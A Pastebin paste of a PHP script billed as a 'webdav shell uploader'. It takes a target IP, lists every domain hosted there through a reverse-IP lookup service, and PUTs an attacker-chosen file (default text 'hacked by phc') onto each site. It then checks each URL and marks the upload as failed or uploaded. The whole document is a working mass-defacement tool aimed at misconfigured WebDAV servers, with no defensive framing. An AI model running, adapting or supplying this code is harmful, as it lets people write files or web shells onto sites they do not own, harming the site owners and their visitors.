Advertisement
tobitaz

Webdav server scanner

Dec 10th, 2013 (edited)
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.89 KB | None | 0 0
  1. <center><font style="font-size:40px">PHC IP scan and webdav shell uploader</font><br /><br />
  2.  
  3. <?php
  4. set_time_limit(0);
  5. error_reporting(0);
  6.  
  7. echo '<form action="" method="post">
  8.        Filename:<input name="nam" value="phc.txt"><br />
  9.        Text:<br />
  10.        <textarea name="isi" cols="50" rows="30">hacked by phc/textarea><br />
  11.        Scan ip:<br />
  12.        <input name="wd" value="60.172.12.2"><br />
  13.        <input type="submit">
  14.        </form>';
  15.  
  16.  
  17.  
  18. $filename = $_POST["nam"];
  19. $ip = $_POST["wd"];
  20. $isi = $_POST["isi"];
  21. $ua = $_SERVER["HTTP_USER_AGENT"];
  22.  
  23.  
  24. if($ip != null)
  25. {
  26. $fi = file_get_contents("http://domains.yougetsignal.com/domains.php?remoteAddress=".$ip);
  27.  
  28.  
  29. $j = json_decode($fi)->domainArray;
  30.  
  31.  
  32. foreach($j as $hu)
  33. {
  34.  
  35.  
  36. //script webdav mula
  37.  
  38. $taz = fopen("sementara.phc", "w+");
  39.           fwrite($taz, $isi);
  40.           fclose($taz);
  41.  
  42.  
  43.  
  44.  
  45.  
  46. // Prepare the file we are going to upload
  47. $filepath = "sementara.phc";
  48. $filesize = filesize($filepath);
  49. $fh = fopen($filepath, 'r');
  50.  
  51.  
  52.    
  53.  
  54.  
  55.  
  56. // The URL where we will upload to, this should be the exact path where the file
  57. // is going to be placed
  58. $remoteUrl = $hu[0];
  59.  
  60.  
  61. // Initialize cURL and set the options required for the upload. We use the remote
  62. // path we specified together with the filename. This will be the result of the
  63. // upload.
  64. $ch = curl_init($remoteUrl ."/". $filename);
  65.  
  66. // I'm setting each option individually so it's easier to debug them when
  67. // something goes wrong. When your configuration is done and working well
  68. // you can choose to use curl_setopt_array() instead.
  69.  
  70. // Set the authentication mode and login credentials
  71. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  72.  
  73.  
  74. // Define that we are going to upload a file, by setting CURLOPT_PUT we are
  75. // forced to set CURLOPT_INFILE and CURLOPT_INFILESIZE as well.
  76. curl_setopt($ch, CURLOPT_PUT, true);
  77. curl_setopt($ch, CURLOPT_INFILE, $fh);
  78. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  79. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  80. // Execute the request, upload the file
  81. $cek = curl_exec($ch);
  82.            curl_close($ch);
  83. if($ip != null)
  84.  {
  85.    $cu = curl_init("http://".$hu[0]."/".$filename);
  86.             curl_setopt($cu, CURLOPT_RETURNTRANSFER, true);
  87.             $res = curl_exec($cu);
  88.                        curl_close($cu);
  89.    
  90.  
  91.    $che = strripos($res, "403");
  92.    $che2 = strripos($res, "404");
  93.    $che3 = strripos($res, "method not allowed");
  94.    $che4 = strripos($res, "404");
  95.    $che5 = strripos($res, "Not found");
  96.  
  97.   if($che or $che2 or $che3 or $che4 or $che5 > 1)
  98.    {
  99.     if($cek === false)
  100.          {
  101.            echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[failed]<br />";
  102.           }
  103.          else
  104.          {
  105.  
  106.                        $cr = curl_init();
  107.             curl_setopt($cr, CURLOPT_URL, "http://".$hu[0]."/".$filename);    
  108.                   curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
  109.                   $respons = curl_exec($cr);
  110.                       $errno = curl_errno($cr);
  111.                       $error = curl_error($cr);
  112.                $response = $response;
  113.                         $info = curl_getinfo($cr);
  114.                       $chek = $info['http_code'];
  115.                         curl_close($cr);
  116.  
  117.    
  118.                   if($chek > 400)
  119.                         {
  120.  
  121.            echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[failed]<br />";
  122.                        }
  123.                    else
  124.                       {
  125.            echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[uploaded]<br />";
  126.                       }
  127.           }
  128.     }
  129.   else
  130.    {
  131.      echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[Uploaded]<br />";
  132.     }
  133.  }
  134.  else
  135.   {
  136.   }
  137.  
  138.  
  139. // Close the file handle
  140. fclose($fh);
  141.      
  142.      
  143.    
  144.  
  145. //script webdav tamat
  146. }
  147. }    
  148.  
  149. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement